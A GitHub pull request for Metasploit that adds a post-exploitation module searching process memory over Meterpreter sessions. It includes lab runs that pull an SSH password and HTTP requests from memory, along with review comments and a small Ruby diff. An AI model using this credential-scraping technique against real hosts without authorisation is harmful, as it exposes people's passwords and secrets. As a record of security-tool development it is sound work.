Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add generic memory search post/multi module #18713

Merged

Conversation

sjanusz-r7
Copy link
Contributor

@sjanusz-r7 sjanusz-r7 commented Jan 17, 2024

This PR addresses comments present here: #18597 (comment)

This PR adds a multi/post module that can run against Meterpreter sessions that support the stdapi_sys_process_memory_search command. The module will search for needles provided by the user in processes that match the provided PID or name glob.

Verification

  1. Start msfconsole
  2. Get a Meterpreter session
  3. Do: use post/multi/gather/memory_search
  4. Do: set SESSION <Session ID>
  5. Do: set PROCESS_NAMES_GLOB <process_names_regex>
  6. Do: set PROCESS_IDS <Process ID>
  7. Do: set REGEX <regex>
  8. Do: run

Scenarios

Session Setup

I am using the following sessions:

msf6 post(multi/gather/memory_search) > sessions

Active sessions
===============

  Id  Name  Type                     Information                              Connection
  --  ----  ----                     -----------                              ----------
  1         meterpreter x64/windows  DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB  192.168.112.1:4444 -> 192.168.112.129:61048 (192.168.112.129)
  2         meterpreter x64/linux    root @ 192.168.112.132                   192.168.112.1:7766 -> 192.168.112.132:41456 (192.168.112.132)

Windows 10 (non-admin) - OpenSSH_9.4p1, OpenSSL 3.1.2 1 Aug 2023

In this scenario, the Windows target is connected to a different host using ssh.exe using the password myverysecretpassword:

msf6 post(multi/gather/memory_search) > run session=1 regex="publickey,password.*" process_names_glob="ssh*"

[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds...
[*] Getting target processes...
[*] Running against the following processes:
        ssh.exe (pid: 2972)

[*] Memory Matches for ssh.exe (pid: 2972)
======================================

 Match Address       Match Length  Match Buffer                                                                                    Memory Region Start  Memory Region Size
 -------------       ------------  ------------                                                                                    -------------------  ------------------
 0x0000000A00060DF0  127           "publickey,password......3.......myverysecretpassword....................#.........#..........  0x0000000A00000000   0x0000000000090000
                                   ...........S......................"

[*] Post module execution completed

Windows 10 (non-admin) - Python3 HTTP Server

In this scenario, the Windows target is running the http.server module in Python inside Windows Terminal:

msf6 post(multi/gather/memory_search) > run session=1 regex="GET /.*" process_names_glob="{python,[Ww]indows[Tt]erminal}*"

[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds...
[*] Getting target processes...
[*] Running against the following processes:
        WindowsTerminal.exe (pid: 9168)
        python.exe (pid: 2816)

[*] Memory Matches for WindowsTerminal.exe (pid: 9168)
==================================================

 Match Address       Match Length  Match Buffer                                                                                    Memory Region Start  Memory Region Size
 -------------       ------------  ------------                                                                                    -------------------  ------------------
 0x00000121C3458649  127           "GET /.portable HTTP/1.1\" 200 -...::ffff:192.168.112.1 - - [17/Jan/2024 14:36:38] \"GET /favi  0x00000121C3449000   0x000000000001B000
                                   con.ico HTTP/1.1\" 404 -..windows-ter"

[*] Memory Matches for python.exe (pid: 2816)
=========================================

 Match Address       Match Length  Match Buffer                                                                                    Memory Region Start  Memory Region Size
 -------------       ------------  ------------                                                                                    -------------------  ------------------
 0x0000013A0E3017D1  127           "GET /.portable HTTP/1.1\" 200 -.....:.....Q.:...................0.Q.:...0.Q.:.....Q.:.....Q.:  0x0000013A0E270000   0x00000000000FF000
                                   ...pAR.:...pAR.:...0.Q.:...0.Q.:..."
 0x0000013A1063DC21  127           "GET /.portable HTTP/1.1\" 200 -...t-black.ico...`@l.:.....h.:..............&.............l.&.  0x0000013A105E0000   0x0000000000100000
                                   ....l.&.....l.&.....l.&......k.:..."
 0x0000013A1063E5B1  127           "GET /.portable HTTP/1.1\" 200 -...b.l.e...o.....P.c.:...s.e.r.s.\\.w.i.n.1.0.\\.s.c.o.o.p.\\.  0x0000013A105E0000   0x0000000000100000
                                   a.p.p.s.\\.w.i.n.d.o.w.s.-.t.e.r.m.i.n."
 0x0000013A1067EC41  127           "GET /Images/ HTTP/1.1\" 200 -...@.g.:...p..&....2.................012345........<li><a href=\  0x0000013A105E0000   0x0000000000100000
                                   "defaults.json\">defaults.json</a></l"
 0x0000013A106CADD0  127           "GET /.portable HTTP/1.1...p&.............x..:...P...:...0.l.:....ta$.e$j..k.:... lk.:........  0x0000013A105E0000   0x0000000000100000
                                   ...0.l.:......................&..."
 0x0000013A106CF940  127           "GET /.portable HTTP/1.1...........l.:...................Pf.&.....^.&......e.:................  0x0000013A105E0000   0x0000000000100000
                                   ....Sn&....s.......P.l.:...p..&..."

[*] Post module execution completed

Ubuntu (root) - Python3 HTTP Server

In this scenario, Meterpreter is ran as root and we are targeting Python's HTTP server module:

msf6 post(multi/gather/memory_search) > run session=2 regex="GET /.*" process_names_glob="*{python,terminal,bash,zsh}*"

[*] Running module against - root @ 192.168.112.132 (192.168.112.132). This might take a few seconds...
[*] Getting target processes...
[*] Running against the following processes:
        python3 (pid: 1185)
        gnome-terminal-server (pid: 2603)
        zsh (pid: 3254)
        python3 (pid: 3303)
        zsh (pid: 7497)
        zsh (pid: 8122)

[*] No regular expression matches were found in memory for python3 (pid: 1185)
[*] Memory Matches for gnome-terminal-server (pid: 2603)
====================================================

 Match Address       Match Length  Match Buffer                         Memory Region Start  Memory Region Size
 -------------       ------------  ------------                         -------------------  ------------------
 0x0000558E4077DA6E  28            "GET /mettle/ HTTP/1.1\" 200 -"      0x0000558E4062D000   0x0000000000A46000
 0x0000558E40D180B6  21            "GET / HTTP/1.1\" 200 -"             0x0000558E4062D000   0x0000000000A46000
 0x0000558E40D1814B  32            "GET /favicon.ico HTTP/1.1\" 404 -"  0x0000558E4062D000   0x0000000000A46000
 0x0000558E40D18192  28            "GET /mettle/ HTTP/1.1\" 200 -"      0x0000558E4062D000   0x0000000000A46000
 0x0000558E40D21986  21            "GET / HTTP/1.1\" 200 -"             0x0000558E4062D000   0x0000000000A46000
 0x0000558E40D21A1B  32            "GET /favicon.ico HTTP/1.1\" 404 -"  0x0000558E4062D000   0x0000000000A46000
 0x0000558E40D21A62  28            "GET /mettle/ HTTP/1.1\" 200 -"      0x0000558E4062D000   0x0000000000A46000
 0x0000558E40E4A6A6  21            "GET / HTTP/1.1\" 200 -"             0x0000558E4062D000   0x0000000000A46000
 0x0000558E40E4A73B  32            "GET /favicon.ico HTTP/1.1\" 404 -"  0x0000558E4062D000   0x0000000000A46000
 0x0000558E40E4A782  28            "GET /mettle/ HTTP/1.1\" 200 -"      0x0000558E4062D000   0x0000000000A46000

[*] No regular expression matches were found in memory for zsh (pid: 3254)
[*] Memory Matches for python3 (pid: 3303)
======================================

 Match Address       Match Length  Match Buffer                     Memory Region Start  Memory Region Size
 -------------       ------------  ------------                     -------------------  ------------------
 0x0000000000EFEF90  28            "GET /mettle/ HTTP/1.1\" 200 -"  0x0000000000EA6000   0x000000000022B000
 0x00007F782E5CDB70  28            "GET /mettle/ HTTP/1.1\" 200 -"  0x00007F782DC00000   0x0000000000A00000
 0x00007F782E5F9265  21            "GET /mettle/ HTTP/1.1"          0x00007F782DC00000   0x0000000000A00000

[*] No regular expression matches were found in memory for zsh (pid: 7497)
[*] No regular expression matches were found in memory for zsh (pid: 8122)
[*] Post module execution completed

@sjanusz-r7 sjanusz-r7 marked this pull request as draft January 17, 2024 15:40
@sjanusz-r7 sjanusz-r7 force-pushed the add-generic-memory-search-module branch from cd2c867 to 6d14a24 Compare January 17, 2024 15:55
@sjanusz-r7 sjanusz-r7 force-pushed the add-generic-memory-search-module branch from 20c948c to 6ca4c11 Compare January 18, 2024 11:08
@sjanusz-r7 sjanusz-r7 marked this pull request as ready for review January 18, 2024 11:20
modules/post/multi/gather/memory_search.rb Outdated Show resolved Hide resolved
results
end

def memory_search(pid, needle, min_search_len, match_len)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe have this upstream in a library?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Probably makes sense to move this into the Meterpreter API for sure; Not a blocker for me - but we should do it 👍

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For reference, we already have Post methods for Linux memory read and ASCII search (by regex):

def mem_search_ascii(min_search_len, max_search_len, needles, pid: 0)
proc_id = session.sys.process.open(pid, PROCESS_READ)
matches = proc_id.memory.search(needles, min_search_len, max_search_len)
end
def mem_read(base_address, length, pid: 0)
proc_id = session.sys.process.open(pid, PROCESS_READ)
data = proc_id.memory.read(base_address, length)
end

session_processes = session.sys.process.get_processes
session_processes.each do |session_process|
pid, _ppid, name, _path, _session, _user, _arch = *session_process.values
if (::File.fnmatch(process_names_glob, name, ::File::FNM_EXTGLOB) unless process_names_glob.empty?) || (target_pids.include? pid)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there a way to tidy this predicate up to be more human readable? I don't think I've ever seen an if and an unless combined together before 😄

end
end

target_processes
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can we dump out the processes for the user to see what they could've matched against? 🤔

diff --git a/modules/post/multi/gather/memory_search.rb b/modules/post/multi/gather/memory_search.rb
index 7f3832fd32..ae39ebc1d9 100644
--- a/modules/post/multi/gather/memory_search.rb
+++ b/modules/post/multi/gather/memory_search.rb
@@ -82,13 +82,27 @@ class MetasploitModule < Msf::Post
     target_processes = []
 
     session_processes = session.sys.process.get_processes
-    session_processes.each do |session_process|
+    session_table = session_processes.to_table
+    session_table.columns.unshift "Matched?"
+    session_table.colprops.unshift(
+      {
+        'Formatters' => [],
+        'Stylers' => [::Msf::Ui::Console::TablePrint::CustomColorStyler.new( 'true' => '%grn', 'false' => '%red' )],
+        'ColumnStylers' => []
+      }
+    )
+    session_table.sort_index += 1
+    session_processes.each.with_index do |session_process, index|
       pid, _ppid, name, _path, _session, _user, _arch = *session_process.values
       if (::File.fnmatch(process_names_glob, name, ::File::FNM_EXTGLOB) unless process_names_glob.empty?) || (target_pids.include? pid)
         target_processes.append session_process
+        session_table.rows[index].unshift "true"
+      else
+        session_table.rows[index].unshift "false"
       end
     end
 
+    vprint_status(session_table.to_s)
     target_processes
   end
 

end

result_group_tlvs = result[:response].get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS)
if result_group_tlvs.empty?
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not a blocker; There's either a bug fix or UX improvements needed for trying to search 64 process memory from a 32 bit process

image

After migrating to 64 bit process it works fine

[*] Running against the following processes:
	notepad.exe (pid: 4748)

[*] Memory Matches for notepad.exe (pid: 4748)
==========================================

 Match Address       Match Length  Match Buffer                                                                                             Memory Region Start  Memory Region Size
 -------------       ------------  ------------                                                                                             -------------------  ------------------
 0x00007FFF200AADE9  127           "password.......Printing........Print background colors and images......Play system sounds......Play so  0x00007FFF1FFB8000   0x00000000001E7000
                                   unds in web pages........"
 0x00007FFF200AC47B  127           "password.....Automatic logon only in Intranet zone...Arial...........AppleWebKit/537.36 (KHTML, like G  0x00007FFF1FFB8000   0x00000000001E7000
                                   ecko) Chrome/51.0.2704.79"

[+] Loot stored to: /Users/adfoster/.msf4/loot/20240123124227_default_192.168.123.147_memory.dmp_479367.bin
[+] Loot stored to: /Users/adfoster/.msf4/loot/20240123124227_default_192.168.123.147_memory.dmp_173286.bin
[*] Post module execution completed

@adfoster-r7 adfoster-r7 merged commit a25b0ee into rapid7:master Jan 23, 2024
57 checks passed
@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Jan 23, 2024

Release Notes

Adds a new multi/gather/memory_search module that can read memory of processes on Windows and Linux hosts with Meterpreter. Regular expressions can be used to find passwords/credentials, and glob patterns and PIDs can be used to identify target processes.

@adfoster-r7
Copy link
Contributor

We'll circle back to patch up the nits, just wanting to unblock the Meterpreter payload bump merge queue

@adfoster-r7 adfoster-r7 added the rn-modules release notes for new or majorly enhanced modules label Jan 26, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

6 participants